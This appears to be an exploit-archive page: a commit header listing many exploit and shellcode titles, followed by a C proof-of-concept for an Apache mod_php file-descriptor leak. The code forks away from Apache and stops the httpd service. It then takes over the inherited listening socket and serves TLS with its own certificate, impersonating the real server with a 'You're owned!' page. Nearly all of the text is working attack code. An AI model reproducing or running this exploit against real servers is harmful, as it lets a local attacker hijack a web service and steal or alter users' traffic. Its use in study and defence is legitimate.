880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
110 lines
No EOL
3.2 KiB
C
110 lines
No EOL
3.2 KiB
C
// source: https://www.securityfocus.com/bid/9302/info
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Reportedly, the Apache mod_php module may be prone to a vulnerability that may allow a local attacker to gain access to privileged file descriptors. As a result, the attacker may pose as a legitimate server and possibly steal or manipulate sensitive information.
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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#include <signal.h>
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#include <errno.h>
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#include <sys/select.h>
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#include <netinet/in.h>
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#include <openssl/ssl.h>
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/*
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* The basic actions are like this:
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* 1) Become session leader
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* 2) Get rid of the parent (apache)
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* 3) Start handling requests
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*/
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#define LISTEN_DESCRIPTOR 4
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#define CERTF "/var/www/html/foo-cert.pem"
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#define KEYF "/var/www/html/foo-cert.pem"
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static SSL_CTX *ctx;
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static SSL *ssl;
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static X509 *client_cert;
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static SSL_METHOD *meth;
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static void server_loop(int descr);
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static void ssl_init(void);
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int main(int argc, char *argv[])
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{
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/* Need to fork so apache doesn't kill us */
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if (fork() == 0) {
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/* Become session leader */
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setsid();
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sleep(2);
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/* just in case one was a controlling tty */
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close(0); close(1); close(2);
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ssl_init();
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server_loop(LISTEN_DESCRIPTOR);
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}
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else
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{
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sleep(1);
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system("/usr/sbin/httpd -k stop");
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sleep(1);
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}
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return 0;
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}
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static void server_loop(int descr)
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{
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struct timeval tv;
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fd_set read_mask ;
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FD_ZERO(&read_mask);
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FD_SET(descr, &read_mask);
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for (;;) {
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struct sockaddr_in remote;
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socklen_t len = sizeof(remote);
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int fd;
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if (select(descr+1, &read_mask, NULL, NULL, 0 ) == -1)
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continue;
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fd = accept(descr, &remote, &len);
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if (fd >=0) {
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char obuf[1024];
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if ((ssl = SSL_new (ctx)) != NULL) {
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SSL_set_fd (ssl, fd);
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SSL_set_accept_state(ssl);
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if ((SSL_accept (ssl)) == -1)
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exit(1);
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strcpy(obuf, "HTTP/1.0 200 OK\n");
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strcat(obuf, "Content-Length: 40\n");
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strcat(obuf, "Content-Type: text/html\n\n");
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strcat(obuf, "<html><body>You're owned!</body></html>");
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SSL_write (ssl, obuf, strlen(obuf));
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SSL_set_shutdown(ssl,
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SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN);
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SSL_free (ssl);
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ERR_remove_state(0);
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}
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close(fd);
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}
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}
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SSL_CTX_free (ctx); /* Never gets called */
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}
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static void ssl_init(void)
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{
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SSL_load_error_strings();
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SSLeay_add_ssl_algorithms();
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meth = SSLv23_server_method();
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ctx = SSL_CTX_new (meth);
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if (!ctx)
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exit(1);
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if (SSL_CTX_use_certificate_file(ctx, CERTF,
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SSL_FILETYPE_PEM) <= 0)
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exit(1);
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if (SSL_CTX_use_PrivateKey_file(ctx, KEYF,
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SSL_FILETYPE_PEM) <= 0)
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exit(1);
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if (!SSL_CTX_check_private_key(ctx))
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exit(1);
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} |